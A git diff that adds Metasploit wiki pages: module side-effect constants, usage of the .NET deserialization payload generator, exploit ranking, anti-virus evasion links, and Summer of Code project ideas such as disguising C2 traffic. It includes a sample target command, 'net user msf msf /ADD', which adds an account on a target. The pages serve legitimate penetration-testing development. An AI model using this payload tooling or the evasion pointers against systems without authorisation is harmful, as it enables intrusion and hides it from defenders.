| +| CRASH_SERVICE_DOWN | Module may crash the service, and remain down | +| CRASH_OS_RESTARTS | Module may crash the OS, but it will restart | +| CRASH_OS_DOWN | Module may crash the OS, and remain down | +| SERVICE_RESOURCE_LOSS | Module causes a resource to be unavailable for the service | +| OS_RESOURCE_LOSS | Module causes a resource to be unavailable for the OS | + +### Side Effects + +| Constant | Description | +| -------------- | ------------- | +| ARTIFACTS_ON_DISK | Module leaves a payload, a dropper, etc, on the target machine | +| CONFIG_CHANGES | Module modifies some config file | +| IOC_IN_LOGS | Module leaves an indicator of compromise in the log(s) | +| ACCOUNT_LOCKOUTS | Module may cause an account to lock out | +| SCREEN_EFFECTS | Module shows something on the screen that a human may notice | +| PHYSICAL_EFFECTS | Module may produce physical effects in hardware (Examples: light, sound, or heat) | +| AUDIO_EFFECTS | Module may cause a noise (Examples: Audio output from the speakers or hardware beeps) | + +### Reliability + +| Constant | Description | +| -------------- | ------------- | +| FIRST_ATTEMPT_FAIL | The module may fail for the first attempt | +| REPEATABLE_SESSION | The module is expected to get a session every time it runs | +| UNRELIABLE_SESSION | The module isn't expected to get a shell reliably (such as only once) | diff --git a/metasploit-framework.wiki/Dot-Net-Deserialization.md b/metasploit-framework.wiki/Dot-Net-Deserialization.md new file mode 100644 index 000000000000..1b8f7290c064 --- /dev/null +++ b/metasploit-framework.wiki/Dot-Net-Deserialization.md @@ -0,0 +1,138 @@ +Metasploit includes a library for leveraging .NET deserialization attacks. Using +it within a module is very straight forward, the module author just needs to +know two things: the gadget chain and the formatter. The library uses the same +names for each of these values as the [YSoSerial.NET][1] project for +compatibility, although the Metasploit library only supports a subset of the +functionality. + +## Support Matrix + +The following table outlines the supported gadget chains, formatters and the +compatibility of each. + +| Gadget Chain Name | BinaryFormatter | LosFormatter | SoapFormatter | +| --------------------------- | --------------- | ------------ | ------------- | +| ClaimsPrincipal | Yes | Yes | Yes | +| TextFormattingRunProperties | Yes | Yes | Yes | +| TypeConfuseDelegate | Yes | Yes | No | +| WindowsIdentity | Yes | Yes | Yes | + +## Basic Usage + +The library is located in `Msf::Util::DotNetDeserialization` and contains the +following methods which are intended for use by module authors. + +* `#generate(cmd, gadget_chain:, formatter:)` + + This function will generate a serialized payload to execute the specified + operating system command *cmd*. The command is serialized using the + specified *gadget_chain* and formatted with the specified *formatter*. The + *gadget_chain* and *formatter* options will be specific to the vulnerability + that is being executed. This functions returns a string. + +* `#generate_formatted(stream, formatter:)` + + Format a `SerializedStream` object, as created by `#generate_gadget_chain`. + The *stream* will be formatted using the specified *formatter* and returned + as a string. + +* `#generate_gadget_chain(cmd, gadget_chain:)` + + Create a gadget chain to run the specified operating system command *cmd*. + This returns a `SerializedStream` object which can be inspected and modified + but must formatted (using `#generate_formatted`) before it is useful. + +`#generate` is the primary function and is functionally equivalent to the +following. In the future the `#generate_*` functions may contain additional +options specific to their respective chain or formatter. + +```ruby +stream = generate_gadget_chain(cmd, gadget_chain) +formatted = generate_formatted(stream, formatter) +``` + +### Example Usage + +The following example uses the `TextFormattingRunProperties` gadget chain +formatted with the `LosFormatter`. + +```ruby +serialized = ::Msf::Util::DotNetDeserialization.generate( + cmd, # this is the Operating System command to run + gadget_chain: :TextFormattingRunProperties, + formatter: :LosFormatter +) +``` + +## Command Line Tool + +The library also has an interface available as a standalone command line tool +which is suitable for creating payloads for single-use research purposes. This +tool `dot_net.rb` is available in the `tools/payloads/ysoserial` directory. The +arguments for this tool are aligned with those of [YSoSerial.NET][1], allowing +the arguments of basic invocations to be the same. It should be noted however +that the [supported](#support-matrix) gadgets and formatters are not the same. + +Help output: + +``` +Usage: ./dot_net.rb [options] + +Generate a .NET deserialization payload that will execute an operating system +command using the specified gadget chain and formatter. + +Available formatters: + * BinaryFormatter + * LosFormatter + * SoapFormatter + +Available gadget chains: + * TextFormattingRunProperties + * TypeConfuseDelegate + * WindowsIdentity + +Example: ./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties + +Specific options: + -c, --command The command to run + -f, --formatter The formatter to use (default: BinaryFormatter) + -g, --gadget The gadget chain to use (default: TextFormattingRunProperties) + -o, --output The output format to use (default: raw, see: --list-output-formats) + --list-output-formats List available output formats, for use with --output + -h, --help Show this message +``` + +The `-g` / `--gadget` option maps to the *gadget_chain* argument for the +generate functions while the `-f` / `--formatter` arguments maps to the +*formatter* argument. + +## Making Changes + +Adding new gadget chains and formatters involves creating a new file in the +respective library directory: [`lib/msf/util/dot_net_deserialization`][2]. The +"native" gadget chain type is implemented following the [MS-NRBF][3] format and +the [Bindata][4] records as defined in [`types/`][5] subdirectory. Once the new +gadget chain or formatter is implemented, it needs to be added to the main +library file ([`dot_net_deserialization.rb`][6]). + +Since serialization chain generate is deterministic, a [unit test][7] should be +added for any new gadget chain to ensure that the checksum of the +BinaryFormatter representation is consistent. + +## Further Reading +Since the .NET deserialization gadgets run operating system commands, the +following resources can be helpful for module developers to deliver native +payloads such as Meterpreter. + +* [How to use command stagers][8] +* [How to use Powershell in an exploit][9] + +[1]: https://github.com/pwntester/ysoserial.net +[2]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization +[3]: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/75b9fe09-be15-475f-85b8-ae7b7558cfe5 +[4]: https://github.com/dmendel/bindata +[5]: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/util/dot_net_deserialization/types +[6]: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/util/dot_net_deserialization.rb +[7]: https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/msf/util/dot_net_deserialization_spec.rb +[8]: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers +[9]: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Powershell-in-an-exploit \ No newline at end of file diff --git a/metasploit-framework.wiki/Downloads-by-Version.md b/metasploit-framework.wiki/Downloads-by-Version.md new file mode 100644 index 000000000000..307cf6da9b1a --- /dev/null +++ b/metasploit-framework.wiki/Downloads-by-Version.md @@ -0,0 +1,31 @@ +## Metasploit Framework Installers + +These include Metasploit Framework only. Updates are built about once a day. +See [[Nightly-Installers]] for installation instructions for Windows, OS X and Linux. + +## Metasploit Pro Installers + +These include the Pro UI as well as Framework. +Updates are released about once every other week for Windows and Linux. + +The pgp signatures below can be verified with the following [public key](https://pgp.mit.edu/pks/lookup?op=get&search=0xCDFB5FA52007B954) + +|Download Link|File Type|SHA1|PGP| +|-|-|-|-| +| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)| +| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)| +| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc)| +| [metasploit-4.20.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.asc)| +| [metasploit-4.19.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.asc)| +| [metasploit-4.19.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.asc)| +| [metasploit-4.19.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.asc)| +| [metasploit-4.19.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.asc)| +| [metasploit-4.18.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.asc)| +| [metasploit-4.18.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.asc)| +| [metasploit-4.17.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.asc)| +| [metasploit-4.17.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.asc)| + + +## Metasploit Framework Source + +Please see the [Metasploit framework releases page](https://github.com/rapid7/metasploit-framework/releases) for the release versions of Metasploit Framework. diff --git a/metasploit-framework.wiki/Evading-Anti-Virus.md b/metasploit-framework.wiki/Evading-Anti-Virus.md new file mode 100644 index 000000000000..f2b9577da201 --- /dev/null +++ b/metasploit-framework.wiki/Evading-Anti-Virus.md @@ -0,0 +1,9 @@ +# Evading Anti Virus + +## Read these links + +* [Why encoding does not matter, and how Metasploit generates exes](https://www.scriptjunkie.us/2011/04/) +* [Facts and myths about antivirus evasion with Metasploit](http://schierlm.users.sourceforge.net/avevasion.html) +* [Using metasm to avoid antivirus detection ghost writing asm](https://web.archive.org/web/20200330111926/https://www.pentestgeek.com/penetration-testing/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm) + +There are approximately 14 million other resources out there on the why's and wherefores of evading antivirus, but the about articles should get you started. diff --git a/metasploit-framework.wiki/Exploit-Ranking.md b/metasploit-framework.wiki/Exploit-Ranking.md new file mode 100644 index 000000000000..00775e9af0a7 --- /dev/null +++ b/metasploit-framework.wiki/Exploit-Ranking.md @@ -0,0 +1,37 @@ +Every exploit module has been assigned a rank based on its potential impact to the target system. Users can search, categorize, and prioritize exploits based on rankings. + +The ranking is implemented by adding a `Rank` constant at the top of the class declaration in a module: + +```ruby +class MetasploitModule < Msf::Exploit + Rank = LowRanking + def initialize(info={}) + ... + end + ... +end +``` + +The ranking values are one of the following, in descending order of reliability: + +| Ranking | Description | +| ------- | ----------- | +| **ExcellentRanking** | The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances ([WMF Escape()](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb)). | +| **GreatRanking** | The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. | +| **GoodRanking** | The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). Exploit does not auto-detect the target. | +| **NormalRanking** | The exploit is otherwise reliable, but depends on a specific version that is not the "common case" for this type of software and can't (or doesn't) reliably autodetect. | +| **AverageRanking** | The exploit is generally unreliable or difficult to exploit, but has a success rate of 50% or more for common platforms. | +| **LowRanking** | The exploit is nearly impossible to exploit (under 50% success rate) for common platforms. | +| **ManualRanking** | The exploit is unstable or difficult to exploit and is basically a DoS (15% success rate or lower). This ranking is also used when the module has no use unless specifically configured by the user (e.g.: [exploit/unix/webapp/php_eval](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/php_eval.rb)). | + +The ranking value is available the module Class object as well as instances: + +```ruby +modcls = framework.exploits["windows/browser/ie_createobject"] +modcls.rank # => 600 +modcls.rank_to_s # => "excellent" + +mod = modcls.new +mod.rank # => 600 +mod.rank_to_s # => "excellent" +``` \ No newline at end of file diff --git a/metasploit-framework.wiki/GSoC-2017-Mentor-Organization-Application.md b/metasploit-framework.wiki/GSoC-2017-Mentor-Organization-Application.md new file mode 100644 index 000000000000..db80ab820bf7 --- /dev/null +++ b/metasploit-framework.wiki/GSoC-2017-Mentor-Organization-Application.md @@ -0,0 +1,33 @@ +### This is how the application was submitted on 2017-02-08. Please make no more edits + +-- + +Please don't use markdown here, we have to paste it into a form. All answers are limited to 1000 chars. + +-- + +**Why does your org want to participate in Google Summer of Code?** + +The story of Metasploit Framework's creation and development over the last 13 years is one of community collaboration to create and hone tools useful to a wide range of security practitioners. Its broad functionality, combined with the deep domain knowledge of the mentors, offers a unique opportunity for students to learn about security and exploit development. Many of our contributors are established exploit developers and penetration testers who have years of industry experience that they can share with students. We hope that the experience will inspire students to continue contributing to open source security, as well as providing them with invaluable real-world training in development, security, and remote collaboration. + + +**How will you keep mentors engaged with their students?** + +All of our mentors are long-time development team members who have a history of helping new users and contributors. Many of our mentors specialize in certain parts of the framework, so depending on the student's interests, we will match them with the most complementary mentor. Our project administrators will regularly check in with mentors and students to ensure that the relationship is productive and progressing as expected. + + +**How will you help your students stay on schedule to complete their projects?** + +First, we will ask students to use GitHub's Projects to track progress in real time as they are working. Mentors will help students divide projects into manageable chunks with measurable milestones. This will help students learn how to manage and break up tasks on large scale projects. Additionally, students and mentors will need to collaborate on a weekly status report that describes their progress and send it to the mailing list. + + +**How will you get your students involved in your community during GSoC?** + +Students will use the same channels that all our contributors use: IRC and GitHub. Students will follow the same procedures of code review that all our contributors follow. By providing them with the same communication channels that our community uses, we hope to encourage the students to interact and collaborate with other contributors and users and to explore additional resources beyond their mentor. Hopefully, this process will give them a network of support and illustrate the advantages of working with other minds. + + +**How will you keep students involved with your community after GSoC?** + +Based on the success of the project, we will encourage students to apply for committer rights at the conclusion of GSoC, include them in Metasploit roadmap discussions, and invite them to special community events. After the conclusion of GSoC we will encourage students to write about their experience on Metasploit's community blog, which will give their work greater exposure to the overall security community. + + diff --git a/metasploit-framework.wiki/GSoC-2017-Project-Ideas.md b/metasploit-framework.wiki/GSoC-2017-Project-Ideas.md new file mode 100644 index 000000000000..791a749f8751 --- /dev/null +++ b/metasploit-framework.wiki/GSoC-2017-Project-Ideas.md @@ -0,0 +1,175 @@ +GSoC Project Ideas in no particular order. When you've picked one, take a look at [[GSoC 2017 Student Proposal]] for how to make a proposal. + + +### Submit your own + +If you want to suggest your own idea, please discuss it with us first on [our mailing list](https://groups.google.com/forum/#!forum/metasploit-hackers) to make sure it is a reasonable amount of work for a summer and that it fits the goals of the project. + +-- + +# Console side + +### Convert between `CMD_UNIX` and the interpreted language architectures + +Perl, Python, and Ruby scripts can all be run via a short command line invocation. It would be nice to be able to use these payloads in `ARCH_CMD` contexts as well as their own separate architectures (`ARCH_PYTHON`, `ARCH_RUBY`). This would allow modules that exploit command injection vulnerabilities to use python meterpreter in particular. + +**Difficulty**: 4/5 +**Requirements**: Ruby, Python, bash/sh +**Mentor**: [@wvu](https://github.com/wvu-r7) [@sempervictus](https://github.com/sempervictus) + + +### Automated exploit reliability scoring + +Automatically run a module over and over, determine success rates. + +**Mentor**: [@busterb](https://github.com/busterb) + + +### Exploit regression testing + +Set up automated testing using something like Vagrant to spin up and configure vulnerable machines, run exploits against them. + + +### A categorical focus + +Something like "make all X exploits badass", or add a full suite of modules around particular gear or vendor stack. + + +**Requirements**: Ruby +**Mentor**: [@hdm](https://github.com/hdm) + + +### Allow post modules to take a payload + +As it stands, the framework defines anything that takes a payload to be an exploit. Because post-exploitation modules cannot take a payload, things that want to drop an executable for persistence are implemented as local exploits (in the `exploit/*/local` namespace instead of `post/*/persistence`). This project would give those kinds of modules a more consistent interface. + +Once this is done, we can move the `exploit/*/local` modules that aren't actually exploits back to `post/` + +**Difficulty**: 3/5 +**Requirements**: Ruby +**Mentor**: [@egypt](https://github.com/egypt) + + +### SMB2 support + +(see also [ruby_smb project](https://github.com/rapid7/ruby_smb)) + +**Difficulty**: 5/5 +**Mentor**: [@egypt](https://github.com/egypt) + + +### Filesystem sessions + +The idea here is to create a new session type for authenticated protocols that give you filesystem access. The simplest is FTP, so that's where we should start. We'll need several pieces for this to work: + +1. A new session interface in `Msf::Sessions` (`lib/msf/base/sessions/`). This should be abstract enough that we can implement protocols other than FTP in the future. +1. A mapping of protocol details to that interface. +1. A new command dispatcher implementing at least these commands: `upload`, `download`, `ls`, `cd` +1. We'll need to modify `auxiliary/scanner/ftp/ftp_login` to create one of these awesome new sessions when authentication is successful. + +**Difficulty**: 2/5 +**Requirements**: Ruby + +### SMB-based file transport for Meterpreter + +The idea here is to create a transport that allows Meterpreter and Console to talk via File handles opened via UNC path. In cases where 445 is allowed outbound, Meterpreter can open file handles to a UNC path that MSF is listening on, and they can communicate on those file handles. For this to work we need: + +1. A new transport that knows how to operate over SMB file handles + * In particular, one file handle is used for writing, and one for reading. +1. New stagers that use the Win32 API to open file handles to a given UNC path. + * Most of this is already done in a PR for named pipe transport support, and so a few changes to those stagers should result in it working fine for this. +1. To come up with a method/protocol that both Console and Meterpreter can use to identify when new sessions come in. + +Given that SMB file reading and writing is already a thing, this shouldn't be too hard on the MSF side. + +**Difficulty**: 3/5 +**Requirements**: Ruby & SMB +**Mentor**: [@OJ](https://github.com/oj) and/or [@egypt](https://github.com/egypt) + +-- + +# Payload side + +### Malleable HTTP/S C2 for Meterpreter + +Currently, the attributes that one can set for how a Meterpreter payload appears at the HTTP level are limited. We would like the ability to set and add arbitrary HTTP headers to requests and responses, so that the traffic appears more realistic. + +**Difficulty**: 5/5 +**Requirements**: C, Ruby. Bonus: Python, PHP +**Mentor**: [@busterb](https://github.com/busterb) + +### Asynchronous victim-side scripting + +Using either Python or Powershell (or maybe both if it can be abstract enough). This could allow things like running Responder.py or Empire on a compromised host. + +**Difficulty**: 4/5 +**Requirements**: C, Python/Powershell +**Mentor**: [@OJ](https://github.com/oj) + +### Use SChannel in native Windows Meterpreter instead of embedded OpenSSL + +[SChannel](https://msdn.microsoft.com/en-us/library/windows/desktop/ms678421(v=vs.85).aspx) is Windows' built-in TLS library. + +**Difficulty**: 3/5 +**Requirements**: C, Windows systems programming +**Mentor**: [@OJ](https://github.com/oj) + +### SMB-based file transport for Meterpreter + +This is the Meterpreter side of the SMB transport mentioned in the Console section. For this to work we need: + +1. A new Meterpreter transport that uses file handles to read and write data over SMB to talk to MSF. + * Use the named pipe transport PR to see how this might work. +1. Full support of the "protocol" that has been designed so that MSF knows when sessions come in. + +**Difficulty**: 2/5 +**Requirements**: C, Windows systems programming +**Mentor**: [@OJ](https://github.com/oj) + +-- + +# Metasploitable3 + +[Metasploitable3](https://github.com/rapid7/metasploitable3) is an +intentionally vulnerable virtual machine. It was created to be a +learning tool for new users as well as a place to test Metasploit and +its payloads. + +### Linux: add vulnerabilities + +**Requirements**: Vagrant + +### Windows: add vulnerabilities + +**Requirements**: Vagrant + + +-- + +# Miscellaneous + +### Replace `msftidy` with a real linter + +[Our current module style checker](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/msftidy.rb) is a mass of regular expressions attempting to look for bad patterns. It could be much improved by using a real lexer. We could use rubocop as a base for this. + +This could also dovetail into an ongoing documentation project. + +**Difficulty**: 2/5 +**Requirements**: Ruby + + + +# Potential Mentors + +All of the following folks have expressed willingness to be mentors. + +* [@busterb](https://github.com/busterb) +* [@egypt](https://github.com/egypt) +* [@hdm](https://github.com/hdm) +* [@jhart-r7](https://github.com/jhart-r7) +* [@jinq102030](https://github.com/jinq102030) +* [@mubix](https://github.com/mubix) +* [@OJ](https://github.com/oj) +* [@sempervictus](https://github.com/sempervictus) +* [@wvu](https://github.com/wvu-r7) +* [@zeroSteiner](https://github.com/zeroSteiner) diff --git a/metasploit-framework.wiki/GSoC-2017-Student-Proposal.md b/metasploit-framework.wiki/GSoC-2017-Student-Proposal.md new file mode 100644 index 000000000000..d97296eefa5e --- /dev/null +++ b/metasploit-framework.wiki/GSoC-2017-Student-Proposal.md @@ -0,0 +1,28 @@ +Send the following to msfdev@metasploit.com + + +## Title + +A brief description of what you would like to work on. See [[GSoC-2017-Project-Ideas]] for ideas. + +## Vitals + +* Your name +* Contact info - include at least: + - an email address + - github user name + - Freenode nick + +## Skillz + +What programming languages are you familiar with, in order of proficiency? Most of Metasploit is written in Ruby; for any project you will most likely need at least a passing knowledge of it. If you want to work on Meterpreter or Mettle, C will be necessary as well. + +What other projects have you worked on before? + + +## Your project + +Fill in the details. What exactly do you want to accomplish? + + + diff --git a/metasploit-framework.wiki/GSoC-2018-Project-Ideas.md b/metasploit-framework.wiki/GSoC-2018-Project-Ideas.md new file mode 100644 index 000000000000..02d0e71bcc56 --- /dev/null +++ b/metasploit-framework.wiki/GSoC-2018-Project-Ideas.md @@ -0,0 +1,99 @@ +GSoC Project Ideas in no particular order. + +Mentors: @busterb, @zerosteiner, @timwr, @asoto-r7, @jmartin-r7, @pbarry-r7, @mkienow-r7, @jbarnett-r7 + +## Enhance Metasploit Framework + +### Improving the Post-exploit / Meterpreter functionality + +Examples could include: + * Sending keystrokes and mouse movement to a Meterpreter session + * HTML based VNC style session control + e.g https://github.com/rapid7/metasploit-framework/pull/9196 but accepting user input from the browser + * Playing (streaming?) sounds to a Meterpreter session + * Implementing the streaming record mechanism from more Meterpreter sessions + * Text-to-speech and volume control + * Fun behaviors + - Ejecting the CD-ROM drive + - Flipping the screen upside down + - Changing screen colors + - Turning the monitor on/off + - Ordering donuts + * MessageBox or live chat functionality + (e.g "This machine is vulnerable to MS17-010, you must run Windows Update!") + * Overlaying an image or even HTML on the user interface + +Difficulty: Varies + +### Improving post-exploit API to be more consistent, work smoothly across session types + +The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, powershell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements: + + * Shell sessions do not implement the filesystem API that Meterpreter sessions have + * When a shell session is in a different language, e.g. Windows in French, the post API does not find the expected output. Add localization support for these. + * Simple commands like 'cmd_exec' are fast in Shell sessions but are relatively slow in Meterpreter sessions. Add an API to make Meterpreter run simple commands more easily. + +Difficulty: Varies + +## Add meta-shell commands + +Shell sessions typically expose a direct connection to a remote shell, but are lacking a number of nice features such as the ability to stop a remote command, background a command (this could be advanced or depend on the underlying session), or to even lock the session. This project would implement some pre-processing hooks to shell sessions so that job control could be added by default (allowing backgrounding of commands), meta-commands like 'background' and 'sessions' could be added as well. + +Difficulty: 3/5 + +### Improve the web vulnerability API + +This would follow up on the Arachni plugin PR and improve the Metasploit data model to better represent modern web vulnerabilities. This project would require knowledge of data models, types of modern web vulnerabilities, and experience with web app security scanners. + +Difficulty: 4/5 + +### Session-style module interaction + +Metasploit has the concept of 'sessions' where a connection context can define its own set of console operations. E.g. if you interact with a session, Metasploit switches to a specific subconsole for interaction. It would be nice as an alternative to 'action' for auxiliary modules, or as a way to merge related modules, to simply interact with the module. + +Difficulty: 3/5 + +### Integration plugin with a 3rd-party post-exploit framework + +Connect a 3rd-party post-exploitation framework with Metasploit, such as Empire, Pupy, or Koadic, so that Metasploit can view and interact with sessions outside of its own types. Being able to use outside stagers in exploits, or adding the ability to 'upgrade' a session to an outside session type are other possibilities. + +Difficulty 3/5 + +## Enhance Metasploitable3 + +### Create a Simulated Active Directory Domain + +Expand functionality of the existing Windows 2008 VM to act as a domain controller. The setup should include a number of users of varying roles, multiple group policy objects and settings, and logon scripts or application deployments. Considerations should be taken on how and where to include purposeful vulnerabilities within these settings. + +Difficulty 2/5 + +### Configure a Mock Corporate Network + +Currently metasploitable3 consists of two separate virtual machines with all currently configured vulnerable services available with a simple network connection. This should be expanded to include a larger number of VMs with services spread across them to better simulate a real world environment. Considerations must be taken for deploying this on systems with varying hardware availability, or look into different cloud providers. + +Difficulty 4/5 + +### Add Monitoring Capabilities Between VMs + +Metasploitable3 is already a playground from an attacker's point of view, but how can we make it valuable from a defender's perspective. Research various network monitoring and detections solutions and implement them across the mock network. Set up a new "NOC" VM for keeping track of activity and watching for intrusion. This goal is to make it fairly simple for anyone to set up a red team vs blue team mock environment. + +Difficulty 5/5 + +## Goliath + +### Data Visualization + +Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. + +[Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) + +Difficulty 3/5 + +### Elasticsearch Datastore +Write Goliath data to Elasticsearch. Explore data visualization using Kibana. + +Difficulty 3/5 + +## Submit your own + +If you want to suggest your own idea, please discuss it with us first on [our mailing list](https://groups.google.com/forum/#!forum/metasploit-hackers) to make sure it is a reasonable amount of work for a summer and that it fits the goals of the project. diff --git a/metasploit-framework.wiki/GSoC-2019-Project-Ideas.md b/metasploit-framework.wiki/GSoC-2019-Project-Ideas.md new file mode 100644 index 000000000000..2b7dcb200081 --- /dev/null +++ b/metasploit-framework.wiki/GSoC-2019-Project-Ideas.md @@ -0,0 +1 @@ +TBD! \ No newline at end of file diff --git a/metasploit-framework.wiki/GSoC-2020-Project-Ideas.md b/metasploit-framework.wiki/GSoC-2020-Project-Ideas.md new file mode 100644 index 000000000000..aa386a02a630 --- /dev/null +++ b/metasploit-framework.wiki/GSoC-2020-Project-Ideas.md @@ -0,0 +1,58 @@ +GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal. + +Mentors: @zerosteiner, @jmartin-r7 + +## Enhance Metasploit Framework + +### Improving post-exploit API to be more consistent, work smoothly across session types + +The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, powershell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements: + + * Shell sessions do not implement the filesystem API that Meterpreter sessions have + * When a shell session is in a different language, e.g. Windows in French, the post API does not find the expected output. Add localization support for these. + * Simple commands like 'cmd_exec' are fast in Shell sessions but are relatively slow in Meterpreter sessions. Add an API to make Meterpreter run simple commands more easily. + +Difficulty: Varies + +### Improve the web vulnerability API + +This would follow up on the Arachni plugin PR and improve the Metasploit data model to better represent modern web vulnerabilities. This project would require knowledge of data models, types of modern web vulnerabilities, and experience with web app security scanners. + +Difficulty: 4/5 + +### Session-style module interaction + +Metasploit has the concept of 'sessions' where a connection context can define its own set of console operations. E.g. if you interact with a session, Metasploit switches to a specific subconsole for interaction. It would be nice as an alternative to 'action' for auxiliary modules, or as a way to merge related modules, to simply interact with the module. + +Difficulty: 3/5 + +### Enhance Sql Injection Support + +Enable faster implementation of SQL injection based explot modules by adding library support for common injection attack vectors. Currently very few sql injection exploits are implemented for Metasploit possibly due to the high complexity of building out injection queries and posting them to a vulnerable URI. + +Difficulty: 3/5 + +### Conditionally Exposed Options + +The Metasploit Framework's modules offer the core functionality of the project and these each use a set of datastore options for configuration. Many modules specify a particular system that they target or action that they provide. Modules should (but currently lack) the ability to expose and hide options through the UI based on either the target or action that they take. This would allow module developers to create more flexible modules without sacrificing user experience by exposing options that are irrelevant based on the current configuration. + +Difficulty: 2/5 + +## Goliath + +### Data Visualization + +Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. + +[Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) + +Difficulty 3/5 + +### Elasticsearch Datastore +Write Goliath data to Elasticsearch. Explore data visualization using Kibana. + +Difficulty 3/5 + +## Submit your own + +If you want to suggest your own idea, please discuss it with us first on [our mailing list](https://groups.google.com/forum/#!forum/metasploit-hackers) to make sure it is a reasonable amount of work for a summer and that it fits the goals of the project. diff 